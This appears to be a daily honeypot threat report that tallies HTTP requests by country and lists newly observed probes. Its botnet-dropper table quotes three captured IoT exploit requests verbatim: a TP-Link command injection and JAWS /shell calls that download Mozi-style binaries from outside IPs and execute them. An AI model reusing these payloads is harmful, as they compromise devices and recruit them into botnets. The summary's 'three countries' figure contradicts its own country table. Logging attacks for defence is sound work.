Daily Report: 2025-05-04#
Executive summary#
interaction report on http service of various Hhoneypot around the world.
- Executive summary
- OT report simplified
- Botnet dropper behaviour
- List of request
- List of country_iso_code
executive_summary#
In today’s repport, we detected 3 stage 1 IP address(es), linked to 3 dropper URL(s).
There are 38 new requests that have never been observed before (these were added to the monitored request database.).
A total of 1284 requests were recorded during the day, originating from 3 different countries, with a peak of 309 requests coming from US.
ot_simplified_report#
simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.
source_country | targeted_country |
---|---|
US | Dubai |
MD | Israel |
US | Georgia |
botnet_dropper_behaviour#
remote_addr | request |
---|---|
45.95.147.209 | GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+sh%3B+wget+http%3A%2F%2F176.65.148.234%2Fsh%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+sh%60) HTTP/1.1 |
45.230.66.13 | GET /shell?cd+/tmp;rm+-rf+*;wget+http://45.230.66.13:10207/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 |
185.218.84.39 | GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+drea4+arm7;wget+http:/\x5C/176.65.144.76/efefa7;chmod+777+efefa7;./efefa7+jaws;wget+http:/\x5C/176.65.144.76/drea4;chmod+777+drea4;./drea4+jaws HTTP/1.1 |
request#
The list of requests presented here are those that have not yet been yet integrated into the request database.
number_of_occurence | request | |
---|---|---|
31 | 4 | GET /files/logo.png HTTP/1.0 |
49 | 4 | GET /favicon.png HTTP/1.0 |
172 | 1 | GET /config/index?time=1746374281881848921 HTTP/1.1 |
177 | 1 | GET /api/bin/440393?time=1746324116250585247 HTTP/1.1 |
178 | 1 | POST /api/user/binLookup?time=1746324116666705000 HTTP/1.1 |
185 | 1 | \x00\x0E8\xED\xF5b\x90l\x10B\xAB\x00\x00\x00\x00\x00 |
194 | 1 | GET /odinhttpcall1746352327 HTTP/1.1 |
196 | 1 | \x00\x0E8\x836\xF3\xFE&\x93\xBAr\x00\x00\x00\x00\x00 |
201 | 1 | \x00\x00\x00\xE0Z\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x05\x01=K\x00\x00\x01\x01\x11\x08\xA8\xC0\xD8C\xAEC\x95x/\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x81\x89\x02\x81\x81\x00\xC5U@foU\xFA\xFDw\x9B[/Ua\x96\xFEI\x9B]v\xAD\xA4\xEF<za\xADg\xCCiM2\x80\x83i\xA9\x90l\xC1\xBD\x9C\x90\x9CZ\xF3\x1E\x97v\xFE\x81\x1EK\x84\xB4A\x0B\xFF\xE5\xAE\xA2\xEA\x80\xCF\x08f\xCF5Q\xC4Xb7B\xE6\xC4\xDFt \x91\x22+S/\x11\xAD\xAB\xA7\xD4V\xBA |
211 | 1 | GET /config/index?time=1746321857886113088 HTTP/1.1 |
212 | 1 | GET /api/bin/440393?time=1746323417228562651 HTTP/1.1 |
213 | 1 | POST /api/user/binLookup?time=1746323417719886430 HTTP/1.1 |
214 | 1 | \x00\x0E8\xB9>y\x81\xEC\xAB\xA8\xF5\x00\x00\x00\x00\x00 |
215 | 1 | GET /Odin/http/call1746352327 HTTP/1.1 |
218 | 1 | GET /config/index?time=1746373380679290715 HTTP/1.1 |
219 | 1 | GET /api/bin/440393?time=1746373447955576035 HTTP/1.1 |
220 | 1 | POST /api/user/binLookup?time=1746373449123467933 HTTP/1.1 |
230 | 1 | GET /index.php/_profiler/phpinfo HTTP/1.1 |
231 | 1 | GET /index_dev.php/_profiler/phpinfo HTTP/1.1 |
232 | 1 | GET /dev.php/_profiler/phpinfo HTTP/1.1 |
233 | 1 | GET /_debug/_profiler/phpinfo HTTP/1.1 |
243 | 1 | GET /test.php/_profiler/phpinfo HTTP/1.1 |
245 | 1 | GET /debug/_profiler/phpinfo HTTP/1.1 |
247 | 1 | GET /profiler/phpinfo HTTP/1.1 |
250 | 1 | GET /OdinHttpCall1746352327 HTTP/1.1 |
265 | 1 | GET /debug.php/_profiler/phpinfo HTTP/1.1 |
270 | 1 | GET /frontend_dev.php/_profiler/phpinfo HTTP/1.1 |
271 | 1 | GET /backend_dev.php/_profiler/phpinfo HTTP/1.1 |
272 | 1 | GET /api_dev.php/_profiler/phpinfo HTTP/1.1 |
273 | 1 | GET /app.php/_profiler/phpinfo HTTP/1.1 |
274 | 1 | GET /app_test.php/_profiler/phpinfo HTTP/1.1 |
276 | 1 | GET /config/index?time=1746321582188462063 HTTP/1.1 |
277 | 1 | GET /api/bin/440393?time=1746322852895496875 HTTP/1.1 |
278 | 1 | POST /api/user/binLookup?time=1746322853288445349 HTTP/1.1 |
305 | 1 | GET /api/bin/440393?time=1746375420897080633 HTTP/1.1 |
312 | 1 | \x00\x0E8\x1D\x86\x7F\x07\xB7\xE0\xA3\xC1\x00\x00\x00\x00\x00 |
337 | 1 | POST /api/user/binLookup?time=1746375421304626215 HTTP/1.1 |
342 | 1 | GET /config/index?time=1746322271535306402 HTTP/1.1 |
country_iso_code#
number_of_occurence | country_iso_code | |
---|---|---|
0 | 309 | US |
1 | 223 | NL |
2 | 194 | GB |
3 | 148 | DE |
4 | 76 | HK |
5 | 58 | PL |
6 | 53 | CN |
7 | 45 | SC |
8 | 22 | MD |
9 | 19 | RU |
10 | 14 | CA |
11 | 12 | AZ |
12 | 11 | UA |
13 | 10 | KR |
14 | 9 | BG |
15 | 9 | GH |
16 | 8 | AO |
17 | 7 | JP |
18 | 7 | BE |
19 | 6 | IN |
20 | 5 | AT |
21 | 5 | RO |
22 | 4 | SG |
23 | 3 | VN |
24 | 3 | CH |
25 | 2 | CV |
26 | 2 | AR |
27 | 2 | MC |
28 | 2 | CO |
29 | 2 | AU |
30 | 2 | ID |
31 | 2 | SA |
32 | 2 | NO |
33 | 2 | NG |
34 | 1 | HU |
35 | 1 | LB |
36 | 1 | ES |
37 | 1 | PA |
38 | 1 | ZA |
39 | 1 | NZ |